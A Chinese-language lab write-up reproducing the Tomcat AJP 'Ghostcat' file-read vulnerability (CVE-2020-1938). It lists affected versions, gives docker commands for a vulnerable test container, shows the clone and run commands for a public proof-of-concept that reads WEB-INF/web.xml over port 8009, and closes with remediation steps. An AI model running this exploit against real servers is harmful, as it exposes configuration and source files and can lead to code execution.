0x01 漏洞概述
CVE-2020-1938 漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞。Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。
该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
0x02 影响范围
受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
不受影响版本
Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31
0x03 环境搭建
本来想直接在vulfocus拉取镜像,但是发现8009端口貌似没开呀!于是乎就用docker拉取tomcat-8.5.32环境来复现了
docker搜索tomcat镜像
docker search tomcat-8.5.32
拉取镜像
docker pull duonghuuphuc/tomcat-8.5.32
拉取完成后查看是否成功
docker images
运行镜像并映射端口
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
并查看是否运行成功
docker ps -a
成功后访问系统地址
nmap一下试试
0x04 使用poc利用漏洞
poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
在kali中克隆poc脚本到本地
git clone https://github.com/YDHCUI/CNVID-2020-10487-Tomcat-Ajp-lfi.git
python CNVID-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.152 -p 8009 -f WEB-INF/web.xml
至此,我们已成功复现CVE-2020-1938漏洞,利用文件包括含漏洞可进一步获得RCE, 可参考此文章:CVE-2020-1938 幽灵猫漏洞RCE
0x05 修复方案
临时禁用AJP协议8009端口,在conf/server.xml
配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />;
配置ajp配置中的secretRequired跟secret属性来限制认证;
0x06 参考链接
https://www.cnblogs.com/xyongsec/p/12340606.html
https://www.tqwba.com/x_d/jishu/106658.html